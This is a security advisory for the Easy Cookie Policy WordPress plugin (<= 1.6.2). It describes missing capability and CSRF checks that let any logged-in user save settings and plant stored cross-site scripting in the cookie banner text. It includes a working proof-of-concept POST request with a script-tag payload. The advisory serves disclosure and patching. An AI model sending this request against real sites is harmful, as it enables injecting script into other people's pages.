Easy Cookie Policy <= 1.6.2 - Broken Access Control to Stored Cross-Site Scripting

2021-06-1100:00:00

0xB9

293

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:S/C:N/I:P/A:N

JSON

The plugin is lacking any capability and CSRF check when saving it’s settings, allowing any authenticated users (such as subscriber) to change them. If users can’t register, this can be done through CSRF. Furthermore, the cookie banner setting is not sanitised or validated before being output in all pages of the frontend and the backend settings one, leading to a Stored Cross-Site Scripting issue.

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 226
Connection: keep-alive
Cookie: [Any authenticated user / via CSRF]

action=easy_cookies_policy_save_settings&maintext=<script>alert(1)</script>&background=black&transparency=90&close=accept&expires=365&enabled=true&display=fixed&position=top&button_text=Accept&text_color=#dddddd